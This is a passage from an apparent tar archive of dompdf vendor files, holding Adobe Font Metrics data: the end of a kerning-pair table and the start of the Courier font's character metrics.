KPX Yacute ocircumflex -111
KPX Yacute odieresis -111
KPX Yacute ograve -111
KPX Yacute ohungarumlaut -111
KPX Yacute omacron -111
KPX Yacute oslash -111
KPX Yacute otilde -111
KPX Yacute period -92
KPX Yacute semicolon -92
KPX Yacute u -92
KPX Yacute uacute -92
KPX Yacute ucircumflex -92
KPX Yacute udieresis -92
KPX Yacute ugrave -92
KPX Yacute uhungarumlaut -92
KPX Yacute umacron -92
KPX Yacute uogonek -92
KPX Yacute uring -92
KPX Ydieresis A -110
KPX Ydieresis Aacute -110
KPX Ydieresis Abreve -110
KPX Ydieresis Acircumflex -110
KPX Ydieresis Adieresis -110
KPX Ydieresis Agrave -110
KPX Ydieresis Amacron -110
KPX Ydieresis Aogonek -110
KPX Ydieresis Aring -110
KPX Ydieresis Atilde -110
KPX Ydieresis O -35
KPX Ydieresis Oacute -35
KPX Ydieresis Ocircumflex -35
KPX Ydieresis Odieresis -35
KPX Ydieresis Ograve -35
KPX Ydieresis Ohungarumlaut -35
KPX Ydieresis Omacron -35
KPX Ydieresis Oslash -35
KPX Ydieresis Otilde -35
KPX Ydieresis a -85
KPX Ydieresis aacute -85
KPX Ydieresis abreve -85
KPX Ydieresis acircumflex -85
KPX Ydieresis adieresis -85
KPX Ydieresis agrave -85
KPX Ydieresis amacron -85
KPX Ydieresis aogonek -85
KPX Ydieresis aring -85
KPX Ydieresis atilde -85
KPX Ydieresis colon -92
KPX Ydieresis comma -92
KPX Ydieresis e -111
KPX Ydieresis eacute -111
KPX Ydieresis ecaron -111
KPX Ydieresis ecircumflex -111
KPX Ydieresis edieresis -71
KPX Ydieresis edotaccent -111
KPX Ydieresis egrave -71
KPX Ydieresis emacron -71
KPX Ydieresis eogonek -111
KPX Ydieresis hyphen -92
KPX Ydieresis i -37
KPX Ydieresis iacute -37
KPX Ydieresis iogonek -37
KPX Ydieresis o -111
KPX Ydieresis oacute -111
KPX Ydieresis ocircumflex -111
KPX Ydieresis odieresis -111
KPX Ydieresis ograve -111
KPX Ydieresis ohungarumlaut -111
KPX Ydieresis omacron -111
KPX Ydieresis oslash -111
KPX Ydieresis otilde -111
KPX Ydieresis period -92
KPX Ydieresis semicolon -92
KPX Ydieresis u -92
KPX Ydieresis uacute -92
KPX Ydieresis ucircumflex -92
KPX Ydieresis udieresis -92
KPX Ydieresis ugrave -92
KPX Ydieresis uhungarumlaut -92
KPX Ydieresis umacron -92
KPX Ydieresis uogonek -92
KPX Ydieresis uring -92
KPX a v -25
KPX aacute v -25
KPX abreve v -25
KPX acircumflex v -25
KPX adieresis v -25
KPX agrave v -25
KPX amacron v -25
KPX aogonek v -25
KPX aring v -25
KPX atilde v -25
KPX b b -10
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -15
KPX comma quotedblright -45
KPX comma quoteright -55
KPX d w -15
KPX dcroat w -15
KPX e v -15
KPX eacute v -15
KPX ecaron v -15
KPX ecircumflex v -15
KPX edieresis v -15
KPX edotaccent v -15
KPX egrave v -15
KPX emacron v -15
KPX eogonek v -15
KPX f comma -15
KPX f dotlessi -35
KPX f i -25
KPX f o -25
KPX f oacute -25
KPX f ocircumflex -25
KPX f odieresis -25
KPX f ograve -25
KPX f ohungarumlaut -25
KPX f omacron -25
KPX f oslash -25
KPX f otilde -25
KPX f period -15
KPX f quotedblright 50
KPX f quoteright 55
KPX g period -15
KPX gbreve period -15
KPX gcommaaccent period -15
KPX h y -15
KPX h yacute -15
KPX h ydieresis -15
KPX i v -10
KPX iacute v -10
KPX icircumflex v -10
KPX idieresis v -10
KPX igrave v -10
KPX imacron v -10
KPX iogonek v -10
KPX k e -10
KPX k eacute -10
KPX k ecaron -10
KPX k ecircumflex -10
KPX k edieresis -10
KPX k edotaccent -10
KPX k egrave -10
KPX k emacron -10
KPX k eogonek -10
KPX k o -15
KPX k oacute -15
KPX k ocircumflex -15
KPX k odieresis -15
KPX k ograve -15
KPX k ohungarumlaut -15
KPX k omacron -15
KPX k oslash -15
KPX k otilde -15
KPX k y -15
KPX k yacute -15
KPX k ydieresis -15
KPX kcommaaccent e -10
KPX kcommaaccent eacute -10
KPX kcommaaccent ecaron -10
KPX kcommaaccent ecircumflex -10
KPX kcommaaccent edieresis -10
KPX kcommaaccent edotaccent -10
KPX kcommaaccent egrave -10
KPX kcommaaccent emacron -10
KPX kcommaaccent eogonek -10
KPX kcommaaccent o -15
KPX kcommaaccent oacute -15
KPX kcommaaccent ocircumflex -15
KPX kcommaaccent odieresis -15
KPX kcommaaccent ograve -15
KPX kcommaaccent ohungarumlaut -15
KPX kcommaaccent omacron -15
KPX kcommaaccent oslash -15
KPX kcommaaccent otilde -15
KPX kcommaaccent y -15
KPX kcommaaccent yacute -15
KPX kcommaaccent ydieresis -15
KPX n v -40
KPX nacute v -40
KPX ncaron v -40
KPX ncommaaccent v -40
KPX ntilde v -40
KPX o v -10
KPX o w -10
KPX oacute v -10
KPX oacute w -10
KPX ocircumflex v -10
KPX ocircumflex w -10
KPX odieresis v -10
KPX odieresis w -10
KPX ograve v -10
KPX ograve w -10
KPX ohungarumlaut v -10
KPX ohungarumlaut w -10
KPX omacron v -10
KPX omacron w -10
KPX oslash v -10
KPX oslash w -10
KPX otilde v -10
KPX otilde w -10
KPX period quotedblright -55
KPX period quoteright -55
KPX quotedblleft A -10
KPX quotedblleft Aacute -10
KPX quotedblleft Abreve -10
KPX quotedblleft Acircumflex -10
KPX quotedblleft Adieresis -10
KPX quotedblleft Agrave -10
KPX quotedblleft Amacron -10
KPX quotedblleft Aogonek -10
KPX quotedblleft Aring -10
KPX quotedblleft Atilde -10
KPX quoteleft A -10
KPX quoteleft Aacute -10
KPX quoteleft Abreve -10
KPX quoteleft Acircumflex -10
KPX quoteleft Adieresis -10
KPX quoteleft Agrave -10
KPX quoteleft Amacron -10
KPX quoteleft Aogonek -10
KPX quoteleft Aring -10
KPX quoteleft Atilde -10
KPX quoteleft quoteleft -63
KPX quoteright d -20
KPX quoteright dcroat -20
KPX quoteright quoteright -63
KPX quoteright r -20
KPX quoteright racute -20
KPX quoteright rcaron -20
KPX quoteright rcommaaccent -20
KPX quoteright s -37
KPX quoteright sacute -37
KPX quoteright scaron -37
KPX quoteright scedilla -37
KPX quoteright scommaaccent -37
KPX quoteright space -74
KPX quoteright v -20
KPX r c -18
KPX r cacute -18
KPX r ccaron -18
KPX r ccedilla -18
KPX r comma -92
KPX r e -18
KPX r eacute -18
KPX r ecaron -18
KPX r ecircumflex -18
KPX r edieresis -18
KPX r edotaccent -18
KPX r egrave -18
KPX r emacron -18
KPX r eogonek -18
KPX r g -10
KPX r gbreve -10
KPX r gcommaaccent -10
KPX r hyphen -37
KPX r n -15
KPX r nacute -15
KPX r ncaron -15
KPX r ncommaaccent -15
KPX r ntilde -15
KPX r o -18
KPX r oacute -18
KPX r ocircumflex -18
KPX r odieresis -18
KPX r ograve -18
KPX r ohungarumlaut -18
KPX r omacron -18
KPX r oslash -18
KPX r otilde -18
KPX r p -10
KPX r period -100
KPX r q -18
KPX r v -10
KPX racute c -18
KPX racute cacute -18
KPX racute ccaron -18
KPX racute ccedilla -18
KPX racute comma -92
KPX racute e -18
KPX racute eacute -18
KPX racute ecaron -18
KPX racute ecircumflex -18
KPX racute edieresis -18
KPX racute edotaccent -18
KPX racute egrave -18
KPX racute emacron -18
KPX racute eogonek -18
KPX racute g -10
KPX racute gbreve -10
KPX racute gcommaaccent -10
KPX racute hyphen -37
KPX racute n -15
KPX racute nacute -15
KPX racute ncaron -15
KPX racute ncommaaccent -15
KPX racute ntilde -15
KPX racute o -18
KPX racute oacute -18
KPX racute ocircumflex -18
KPX racute odieresis -18
KPX racute ograve -18
KPX racute ohungarumlaut -18
KPX racute omacron -18
KPX racute oslash -18
KPX racute otilde -18
KPX racute p -10
KPX racute period -100
KPX racute q -18
KPX racute v -10
KPX rcaron c -18
KPX rcaron cacute -18
KPX rcaron ccaron -18
KPX rcaron ccedilla -18
KPX rcaron comma -92
KPX rcaron e -18
KPX rcaron eacute -18
KPX rcaron ecaron -18
KPX rcaron ecircumflex -18
KPX rcaron edieresis -18
KPX rcaron edotaccent -18
KPX rcaron egrave -18
KPX rcaron emacron -18
KPX rcaron eogonek -18
KPX rcaron g -10
KPX rcaron gbreve -10
KPX rcaron gcommaaccent -10
KPX rcaron hyphen -37
KPX rcaron n -15
KPX rcaron nacute -15
KPX rcaron ncaron -15
KPX rcaron ncommaaccent -15
KPX rcaron ntilde -15
KPX rcaron o -18
KPX rcaron oacute -18
KPX rcaron ocircumflex -18
KPX rcaron odieresis -18
KPX rcaron ograve -18
KPX rcaron ohungarumlaut -18
KPX rcaron omacron -18
KPX rcaron oslash -18
KPX rcaron otilde -18
KPX rcaron p -10
KPX rcaron period -100
KPX rcaron q -18
KPX rcaron v -10
KPX rcommaaccent c -18
KPX rcommaaccent cacute -18
KPX rcommaaccent ccaron -18
KPX rcommaaccent ccedilla -18
KPX rcommaaccent comma -92
KPX rcommaaccent e -18
KPX rcommaaccent eacute -18
KPX rcommaaccent ecaron -18
KPX rcommaaccent ecircumflex -18
KPX rcommaaccent edieresis -18
KPX rcommaaccent edotaccent -18
KPX rcommaaccent egrave -18
KPX rcommaaccent emacron -18
KPX rcommaaccent eogonek -18
KPX rcommaaccent g -10
KPX rcommaaccent gbreve -10
KPX rcommaaccent gcommaaccent -10
KPX rcommaaccent hyphen -37
KPX rcommaaccent n -15
KPX rcommaaccent nacute -15
KPX rcommaaccent ncaron -15
KPX rcommaaccent ncommaaccent -15
KPX rcommaaccent ntilde -15
KPX rcommaaccent o -18
KPX rcommaaccent oacute -18
KPX rcommaaccent ocircumflex -18
KPX rcommaaccent odieresis -18
KPX rcommaaccent ograve -18
KPX rcommaaccent ohungarumlaut -18
KPX rcommaaccent omacron -18
KPX rcommaaccent oslash -18
KPX rcommaaccent otilde -18
KPX rcommaaccent p -10
KPX rcommaaccent period -100
KPX rcommaaccent q -18
KPX rcommaaccent v -10
KPX space A -55
KPX space Aacute -55
KPX space Abreve -55
KPX space Acircumflex -55
KPX space Adieresis -55
KPX space Agrave -55
KPX space Amacron -55
KPX space Aogonek -55
KPX space Aring -55
KPX space Atilde -55
KPX space T -30
KPX space Tcaron -30
KPX space Tcommaaccent -30
KPX space V -45
KPX space W -30
KPX space Y -55
KPX space Yacute -55
KPX space Ydieresis -55
KPX v a -10
KPX v aacute -10
KPX v abreve -10
KPX v acircumflex -10
KPX v adieresis -10
KPX v agrave -10
KPX v amacron -10
KPX v aogonek -10
KPX v aring -10
KPX v atilde -10
KPX v comma -55
KPX v e -10
KPX v eacute -10
KPX v ecaron -10
KPX v ecircumflex -10
KPX v edieresis -10
KPX v edotaccent -10
KPX v egrave -10
KPX v emacron -10
KPX v eogonek -10
KPX v o -10
KPX v oacute -10
KPX v ocircumflex -10
KPX v odieresis -10
KPX v ograve -10
KPX v ohungarumlaut -10
KPX v omacron -10
KPX v oslash -10
KPX v otilde -10
KPX v period -70
KPX w comma -55
KPX w o -10
KPX w oacute -10
KPX w ocircumflex -10
KPX w odieresis -10
KPX w ograve -10
KPX w ohungarumlaut -10
KPX w omacron -10
KPX w oslash -10
KPX w otilde -10
KPX w period -70
KPX y comma -55
KPX y e -10
KPX y eacute -10
KPX y ecaron -10
KPX y ecircumflex -10
KPX y edieresis -10
KPX y edotaccent -10
KPX y egrave -10
KPX y emacron -10
KPX y eogonek -10
KPX y o -25
KPX y oacute -25
KPX y ocircumflex -25
KPX y odieresis -25
KPX y ograve -25
KPX y ohungarumlaut -25
KPX y omacron -25
KPX y oslash -25
KPX y otilde -25
KPX y period -70
KPX yacute comma -55
KPX yacute e -10
KPX yacute eacute -10
KPX yacute ecaron -10
KPX yacute ecircumflex -10
KPX yacute edieresis -10
KPX yacute edotaccent -10
KPX yacute egrave -10
KPX yacute emacron -10
KPX yacute eogonek -10
KPX yacute o -25
KPX yacute oacute -25
KPX yacute ocircumflex -25
KPX yacute odieresis -25
KPX yacute ograve -25
KPX yacute ohungarumlaut -25
KPX yacute omacron -25
KPX yacute oslash -25
KPX yacute otilde -25
KPX yacute period -70
KPX ydieresis comma -55
KPX ydieresis e -10
KPX ydieresis eacute -10
KPX ydieresis ecaron -10
KPX ydieresis ecircumflex -10
KPX ydieresis edieresis -10
KPX ydieresis edotaccent -10
KPX ydieresis egrave -10
KPX ydieresis emacron -10
KPX ydieresis eogonek -10
KPX ydieresis o -25
KPX ydieresis oacute -25
KPX ydieresis ocircumflex -25
KPX ydieresis odieresis -25
KPX ydieresis ograve -25
KPX ydieresis ohungarumlaut -25
KPX ydieresis omacron -25
KPX ydieresis oslash -25
KPX ydieresis otilde -25
KPX ydieresis period -70
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Courier.afm000066600000036722151150442770014603 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 17:27:09 1997
Comment UniqueID 43050
Comment VMusage 39754 50779
FontName Courier
FullName Courier
FamilyName Courier
Weight Medium
ItalicAngle 0
IsFixedPitch true
CharacterSet ExtendedRoman
FontBBox -23 -250 715 805
UnderlinePosition -100
UnderlineThickness 50
Version 003.000
Notice Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
EncodingScheme WinAnsiEncoding
CapHeight 562
XHeight 426
Ascender 629
Descender -157
StdHW 51
StdVW 51
StartCharMetrics 317
C 32 ; WX 600 ; N space ; B 0 0 0 0 ;
C 160 ; WX 600 ; N space ; B 0 0 0 0 ;
C 33 ; WX 600 ; N exclam ; B 236 -15 364 572 ;
C 34 ; WX 600 ; N quotedbl ; B 187 328 413 562 ;
C 35 ; WX 600 ; N numbersign ; B 93 -32 507 639 ;
C 36 ; WX 600 ; N dollar ; B 105 -126 496 662 ;
C 37 ; WX 600 ; N percent ; B 81 -15 518 622 ;
C 38 ; WX 600 ; N ampersand ; B 63 -15 538 543 ;
C 146 ; WX 600 ; N quoteright ; B 213 328 376 562 ;
C 40 ; WX 600 ; N parenleft ; B 269 -108 440 622 ;
C 41 ; WX 600 ; N parenright ; B 160 -108 331 622 ;
C 42 ; WX 600 ; N asterisk ; B 116 257 484 607 ;
C 43 ; WX 600 ; N plus ; B 80 44 520 470 ;
C 44 ; WX 600 ; N comma ; B 181 -112 344 122 ;
C 45 ; WX 600 ; N hyphen ; B 103 231 497 285 ;
C 173 ; WX 600 ; N hyphen ; B 103 231 497 285 ;
C 46 ; WX 600 ; N period ; B 229 -15 371 109 ;
C 47 ; WX 600 ; N slash ; B 125 -80 475 629 ;
C 48 ; WX 600 ; N zero ; B 106 -15 494 622 ;
C 49 ; WX 600 ; N one ; B 96 0 505 622 ;
C 50 ; WX 600 ; N two ; B 70 0 471 622 ;
C 51 ; WX 600 ; N three ; B 75 -15 466 622 ;
C 52 ; WX 600 ; N four ; B 78 0 500 622 ;
C 53 ; WX 600 ; N five ; B 92 -15 497 607 ;
C 54 ; WX 600 ; N six ; B 111 -15 497 622 ;
C 55 ; WX 600 ; N seven ; B 82 0 483 607 ;
C 56 ; WX 600 ; N eight ; B 102 -15 498 622 ;
C 57 ; WX 600 ; N nine ; B 96 -15 489 622 ;
C 58 ; WX 600 ; N colon ; B 229 -15 371 385 ;
C 59 ; WX 600 ; N semicolon ; B 181 -112 371 385 ;
C 60 ; WX 600 ; N less ; B 41 42 519 472 ;
C 61 ; WX 600 ; N equal ; B 80 138 520 376 ;
C 62 ; WX 600 ; N greater ; B 66 42 544 472 ;
C 63 ; WX 600 ; N question ; B 129 -15 492 572 ;
C 64 ; WX 600 ; N at ; B 77 -15 533 622 ;
C 65 ; WX 600 ; N A ; B 3 0 597 562 ;
C 66 ; WX 600 ; N B ; B 43 0 559 562 ;
C 67 ; WX 600 ; N C ; B 41 -18 540 580 ;
C 68 ; WX 600 ; N D ; B 43 0 574 562 ;
C 69 ; WX 600 ; N E ; B 53 0 550 562 ;
C 70 ; WX 600 ; N F ; B 53 0 545 562 ;
C 71 ; WX 600 ; N G ; B 31 -18 575 580 ;
C 72 ; WX 600 ; N H ; B 32 0 568 562 ;
C 73 ; WX 600 ; N I ; B 96 0 504 562 ;
C 74 ; WX 600 ; N J ; B 34 -18 566 562 ;
C 75 ; WX 600 ; N K ; B 38 0 582 562 ;
C 76 ; WX 600 ; N L ; B 47 0 554 562 ;
C 77 ; WX 600 ; N M ; B 4 0 596 562 ;
C 78 ; WX 600 ; N N ; B 7 -13 593 562 ;
C 79 ; WX 600 ; N O ; B 43 -18 557 580 ;
C 80 ; WX 600 ; N P ; B 79 0 558 562 ;
C 81 ; WX 600 ; N Q ; B 43 -138 557 580 ;
C 82 ; WX 600 ; N R ; B 38 0 588 562 ;
C 83 ; WX 600 ; N S ; B 72 -20 529 580 ;
C 84 ; WX 600 ; N T ; B 38 0 563 562 ;
C 85 ; WX 600 ; N U ; B 17 -18 583 562 ;
C 86 ; WX 600 ; N V ; B -4 -13 604 562 ;
C 87 ; WX 600 ; N W ; B -3 -13 603 562 ;
C 88 ; WX 600 ; N X ; B 23 0 577 562 ;
C 89 ; WX 600 ; N Y ; B 24 0 576 562 ;
C 90 ; WX 600 ; N Z ; B 86 0 514 562 ;
C 91 ; WX 600 ; N bracketleft ; B 269 -108 442 622 ;
C 92 ; WX 600 ; N backslash ; B 118 -80 482 629 ;
C 93 ; WX 600 ; N bracketright ; B 158 -108 331 622 ;
C 94 ; WX 600 ; N asciicircum ; B 94 354 506 622 ;
C 95 ; WX 600 ; N underscore ; B 0 -125 600 -75 ;
C 145 ; WX 600 ; N quoteleft ; B 224 328 387 562 ;
C 97 ; WX 600 ; N a ; B 53 -15 559 441 ;
C 98 ; WX 600 ; N b ; B 14 -15 575 629 ;
C 99 ; WX 600 ; N c ; B 66 -15 529 441 ;
C 100 ; WX 600 ; N d ; B 45 -15 591 629 ;
C 101 ; WX 600 ; N e ; B 66 -15 548 441 ;
C 102 ; WX 600 ; N f ; B 114 0 531 629 ; L i fi ; L l fl ;
C 103 ; WX 600 ; N g ; B 45 -157 566 441 ;
C 104 ; WX 600 ; N h ; B 18 0 582 629 ;
C 105 ; WX 600 ; N i ; B 95 0 505 657 ;
C 106 ; WX 600 ; N j ; B 82 -157 410 657 ;
C 107 ; WX 600 ; N k ; B 43 0 580 629 ;
C 108 ; WX 600 ; N l ; B 95 0 505 629 ;
C 109 ; WX 600 ; N m ; B -5 0 605 441 ;
C 110 ; WX 600 ; N n ; B 26 0 575 441 ;
C 111 ; WX 600 ; N o ; B 62 -15 538 441 ;
C 112 ; WX 600 ; N p ; B 9 -157 555 441 ;
C 113 ; WX 600 ; N q ; B 45 -157 591 441 ;
C 114 ; WX 600 ; N r ; B 60 0 559 441 ;
C 115 ; WX 600 ; N s ; B 80 -15 513 441 ;
C 116 ; WX 600 ; N t ; B 87 -15 530 561 ;
C 117 ; WX 600 ; N u ; B 21 -15 562 426 ;
C 118 ; WX 600 ; N v ; B 10 -10 590 426 ;
C 119 ; WX 600 ; N w ; B -4 -10 604 426 ;
C 120 ; WX 600 ; N x ; B 20 0 580 426 ;
C 121 ; WX 600 ; N y ; B 7 -157 592 426 ;
C 122 ; WX 600 ; N z ; B 99 0 502 426 ;
C 123 ; WX 600 ; N braceleft ; B 182 -108 437 622 ;
C 124 ; WX 600 ; N bar ; B 275 -250 326 750 ;
C 125 ; WX 600 ; N braceright ; B 163 -108 418 622 ;
C 126 ; WX 600 ; N asciitilde ; B 63 197 540 320 ;
C 161 ; WX 600 ; N exclamdown ; B 236 -157 364 430 ;
C 162 ; WX 600 ; N cent ; B 96 -49 500 614 ;
C 163 ; WX 600 ; N sterling ; B 84 -21 521 611 ;
C -1 ; WX 600 ; N fraction ; B 92 -57 509 665 ;
C 165 ; WX 600 ; N yen ; B 26 0 574 562 ;
C 131 ; WX 600 ; N florin ; B 4 -143 539 622 ;
C 167 ; WX 600 ; N section ; B 113 -78 488 580 ;
C 164 ; WX 600 ; N currency ; B 73 58 527 506 ;
C 39 ; WX 600 ; N quotesingle ; B 259 328 341 562 ;
C 147 ; WX 600 ; N quotedblleft ; B 143 328 471 562 ;
C 171 ; WX 600 ; N guillemotleft ; B 37 70 563 446 ;
C 139 ; WX 600 ; N guilsinglleft ; B 149 70 451 446 ;
C 155 ; WX 600 ; N guilsinglright ; B 149 70 451 446 ;
C -1 ; WX 600 ; N fi ; B 3 0 597 629 ;
C -1 ; WX 600 ; N fl ; B 3 0 597 629 ;
C 150 ; WX 600 ; N endash ; B 75 231 525 285 ;
C 134 ; WX 600 ; N dagger ; B 141 -78 459 580 ;
C 135 ; WX 600 ; N daggerdbl ; B 141 -78 459 580 ;
C 183 ; WX 600 ; N periodcentered ; B 222 189 378 327 ;
C 182 ; WX 600 ; N paragraph ; B 50 -78 511 562 ;
C 149 ; WX 600 ; N bullet ; B 172 130 428 383 ;
C 130 ; WX 600 ; N quotesinglbase ; B 213 -134 376 100 ;
C 132 ; WX 600 ; N quotedblbase ; B 143 -134 457 100 ;
C 148 ; WX 600 ; N quotedblright ; B 143 328 457 562 ;
C 187 ; WX 600 ; N guillemotright ; B 37 70 563 446 ;
C 133 ; WX 600 ; N ellipsis ; B 37 -15 563 111 ;
C 137 ; WX 600 ; N perthousand ; B 3 -15 600 622 ;
C 191 ; WX 600 ; N questiondown ; B 108 -157 471 430 ;
C 96 ; WX 600 ; N grave ; B 151 497 378 672 ;
C 180 ; WX 600 ; N acute ; B 242 497 469 672 ;
C 136 ; WX 600 ; N circumflex ; B 124 477 476 654 ;
C 152 ; WX 600 ; N tilde ; B 105 489 503 606 ;
C 175 ; WX 600 ; N macron ; B 120 525 480 565 ;
C -1 ; WX 600 ; N breve ; B 153 501 447 609 ;
C -1 ; WX 600 ; N dotaccent ; B 249 537 352 640 ;
C 168 ; WX 600 ; N dieresis ; B 148 537 453 640 ;
C -1 ; WX 600 ; N ring ; B 218 463 382 627 ;
C 184 ; WX 600 ; N cedilla ; B 224 -151 362 10 ;
C -1 ; WX 600 ; N hungarumlaut ; B 133 497 540 672 ;
C -1 ; WX 600 ; N ogonek ; B 211 -172 407 4 ;
C -1 ; WX 600 ; N caron ; B 124 492 476 669 ;
C 151 ; WX 600 ; N emdash ; B 0 231 600 285 ;
C 198 ; WX 600 ; N AE ; B 3 0 550 562 ;
C 170 ; WX 600 ; N ordfeminine ; B 156 249 442 580 ;
C -1 ; WX 600 ; N Lslash ; B 47 0 554 562 ;
C 216 ; WX 600 ; N Oslash ; B 43 -80 557 629 ;
C 140 ; WX 600 ; N OE ; B 7 0 567 562 ;
C 186 ; WX 600 ; N ordmasculine ; B 157 249 443 580 ;
C 230 ; WX 600 ; N ae ; B 19 -15 570 441 ;
C -1 ; WX 600 ; N dotlessi ; B 95 0 505 426 ;
C -1 ; WX 600 ; N lslash ; B 95 0 505 629 ;
C 248 ; WX 600 ; N oslash ; B 62 -80 538 506 ;
C 156 ; WX 600 ; N oe ; B 19 -15 559 441 ;
C 223 ; WX 600 ; N germandbls ; B 48 -15 588 629 ;
C 207 ; WX 600 ; N Idieresis ; B 96 0 504 753 ;
C 233 ; WX 600 ; N eacute ; B 66 -15 548 672 ;
C -1 ; WX 600 ; N abreve ; B 53 -15 559 609 ;
C -1 ; WX 600 ; N uhungarumlaut ; B 21 -15 580 672 ;
C -1 ; WX 600 ; N ecaron ; B 66 -15 548 669 ;
C 159 ; WX 600 ; N Ydieresis ; B 24 0 576 753 ;
C 247 ; WX 600 ; N divide ; B 87 48 513 467 ;
C 221 ; WX 600 ; N Yacute ; B 24 0 576 805 ;
C 194 ; WX 600 ; N Acircumflex ; B 3 0 597 787 ;
C 225 ; WX 600 ; N aacute ; B 53 -15 559 672 ;
C 219 ; WX 600 ; N Ucircumflex ; B 17 -18 583 787 ;
C 253 ; WX 600 ; N yacute ; B 7 -157 592 672 ;
C -1 ; WX 600 ; N scommaaccent ; B 80 -250 513 441 ;
C 234 ; WX 600 ; N ecircumflex ; B 66 -15 548 654 ;
C -1 ; WX 600 ; N Uring ; B 17 -18 583 760 ;
C 220 ; WX 600 ; N Udieresis ; B 17 -18 583 753 ;
C -1 ; WX 600 ; N aogonek ; B 53 -172 587 441 ;
C 218 ; WX 600 ; N Uacute ; B 17 -18 583 805 ;
C -1 ; WX 600 ; N uogonek ; B 21 -172 590 426 ;
C 203 ; WX 600 ; N Edieresis ; B 53 0 550 753 ;
C -1 ; WX 600 ; N Dcroat ; B 30 0 574 562 ;
C -1 ; WX 600 ; N commaaccent ; B 198 -250 335 -58 ;
C 169 ; WX 600 ; N copyright ; B 0 -18 600 580 ;
C -1 ; WX 600 ; N Emacron ; B 53 0 550 698 ;
C -1 ; WX 600 ; N ccaron ; B 66 -15 529 669 ;
C 229 ; WX 600 ; N aring ; B 53 -15 559 627 ;
C -1 ; WX 600 ; N Ncommaaccent ; B 7 -250 593 562 ;
C -1 ; WX 600 ; N lacute ; B 95 0 505 805 ;
C 224 ; WX 600 ; N agrave ; B 53 -15 559 672 ;
C -1 ; WX 600 ; N Tcommaaccent ; B 38 -250 563 562 ;
C -1 ; WX 600 ; N Cacute ; B 41 -18 540 805 ;
C 227 ; WX 600 ; N atilde ; B 53 -15 559 606 ;
C -1 ; WX 600 ; N Edotaccent ; B 53 0 550 753 ;
C 154 ; WX 600 ; N scaron ; B 80 -15 513 669 ;
C -1 ; WX 600 ; N scedilla ; B 80 -151 513 441 ;
C 237 ; WX 600 ; N iacute ; B 95 0 505 672 ;
C -1 ; WX 600 ; N lozenge ; B 18 0 443 706 ;
C -1 ; WX 600 ; N Rcaron ; B 38 0 588 802 ;
C -1 ; WX 600 ; N Gcommaaccent ; B 31 -250 575 580 ;
C 251 ; WX 600 ; N ucircumflex ; B 21 -15 562 654 ;
C 226 ; WX 600 ; N acircumflex ; B 53 -15 559 654 ;
C -1 ; WX 600 ; N Amacron ; B 3 0 597 698 ;
C -1 ; WX 600 ; N rcaron ; B 60 0 559 669 ;
C 231 ; WX 600 ; N ccedilla ; B 66 -151 529 441 ;
C -1 ; WX 600 ; N Zdotaccent ; B 86 0 514 753 ;
C 222 ; WX 600 ; N Thorn ; B 79 0 538 562 ;
C -1 ; WX 600 ; N Omacron ; B 43 -18 557 698 ;
C -1 ; WX 600 ; N Racute ; B 38 0 588 805 ;
C -1 ; WX 600 ; N Sacute ; B 72 -20 529 805 ;
C -1 ; WX 600 ; N dcaron ; B 45 -15 715 629 ;
C -1 ; WX 600 ; N Umacron ; B 17 -18 583 698 ;
C -1 ; WX 600 ; N uring ; B 21 -15 562 627 ;
C 179 ; WX 600 ; N threesuperior ; B 155 240 406 622 ;
C 210 ; WX 600 ; N Ograve ; B 43 -18 557 805 ;
C 192 ; WX 600 ; N Agrave ; B 3 0 597 805 ;
C -1 ; WX 600 ; N Abreve ; B 3 0 597 732 ;
C 215 ; WX 600 ; N multiply ; B 87 43 515 470 ;
C 250 ; WX 600 ; N uacute ; B 21 -15 562 672 ;
C -1 ; WX 600 ; N Tcaron ; B 38 0 563 802 ;
C -1 ; WX 600 ; N partialdiff ; B 17 -38 459 710 ;
C 255 ; WX 600 ; N ydieresis ; B 7 -157 592 620 ;
C -1 ; WX 600 ; N Nacute ; B 7 -13 593 805 ;
C 238 ; WX 600 ; N icircumflex ; B 94 0 505 654 ;
C 202 ; WX 600 ; N Ecircumflex ; B 53 0 550 787 ;
C 228 ; WX 600 ; N adieresis ; B 53 -15 559 620 ;
C 235 ; WX 600 ; N edieresis ; B 66 -15 548 620 ;
C -1 ; WX 600 ; N cacute ; B 66 -15 529 672 ;
C -1 ; WX 600 ; N nacute ; B 26 0 575 672 ;
C -1 ; WX 600 ; N umacron ; B 21 -15 562 565 ;
C -1 ; WX 600 ; N Ncaron ; B 7 -13 593 802 ;
C 205 ; WX 600 ; N Iacute ; B 96 0 504 805 ;
C 177 ; WX 600 ; N plusminus ; B 87 44 513 558 ;
C 166 ; WX 600 ; N brokenbar ; B 275 -175 326 675 ;
C 174 ; WX 600 ; N registered ; B 0 -18 600 580 ;
C -1 ; WX 600 ; N Gbreve ; B 31 -18 575 732 ;
C -1 ; WX 600 ; N Idotaccent ; B 96 0 504 753 ;
C -1 ; WX 600 ; N summation ; B 15 -10 585 706 ;
C 200 ; WX 600 ; N Egrave ; B 53 0 550 805 ;
C -1 ; WX 600 ; N racute ; B 60 0 559 672 ;
C -1 ; WX 600 ; N omacron ; B 62 -15 538 565 ;
C -1 ; WX 600 ; N Zacute ; B 86 0 514 805 ;
C 142 ; WX 600 ; N Zcaron ; B 86 0 514 802 ;
C -1 ; WX 600 ; N greaterequal ; B 98 0 502 710 ;
C 208 ; WX 600 ; N Eth ; B 30 0 574 562 ;
C 199 ; WX 600 ; N Ccedilla ; B 41 -151 540 580 ;
C -1 ; WX 600 ; N lcommaaccent ; B 95 -250 505 629 ;
C -1 ; WX 600 ; N tcaron ; B 87 -15 530 717 ;
C -1 ; WX 600 ; N eogonek ; B 66 -172 548 441 ;
C -1 ; WX 600 ; N Uogonek ; B 17 -172 583 562 ;
C 193 ; WX 600 ; N Aacute ; B 3 0 597 805 ;
C 196 ; WX 600 ; N Adieresis ; B 3 0 597 753 ;
C 232 ; WX 600 ; N egrave ; B 66 -15 548 672 ;
C -1 ; WX 600 ; N zacute ; B 99 0 502 672 ;
C -1 ; WX 600 ; N iogonek ; B 95 -172 505 657 ;
C 211 ; WX 600 ; N Oacute ; B 43 -18 557 805 ;
